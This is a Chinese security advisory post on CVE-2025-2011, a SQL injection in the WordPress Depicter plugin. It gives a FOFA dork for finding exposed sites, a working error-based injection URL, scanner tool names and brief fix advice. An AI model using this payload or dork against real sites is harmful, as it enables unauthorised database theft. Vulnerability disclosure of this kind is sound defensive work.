WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)

admin
admin
admin
140668
文章
117
评论
2025年5月15日10:59:36WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)已关闭评论1 views字数 475阅读1分35秒阅读模式
 
01
漏洞概述
由于对用户提供的参数的转义不足和对现有SQL查询的准备不足，WordPress的Depicter插件在所有版本（包括3.6.1）中都容易受到通过's'参数的通用SQL注入的影响。这使得未经身份验证的攻击者能够将其他 SQL 查询附加到现有查询中，这些查询可用于从数据库中提取敏感信息。

02
搜索引擎
FOFA:
body="wp-content/plugins/depicter"
WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)
03
漏洞复现
WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)
POC
http://127.0.0.1/wp-admin/admin-ajax.php?s=test%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(database()),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index
sqlmap验证
WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)
04
自查工具

nuclei

WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)

afrog

WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)

xray

WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)
05
修复建议

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日10:59:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   WordPress depicter插件 Sql注入漏洞 (CVE-2025-2011)https://cn-sec.com/archives/4057079.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.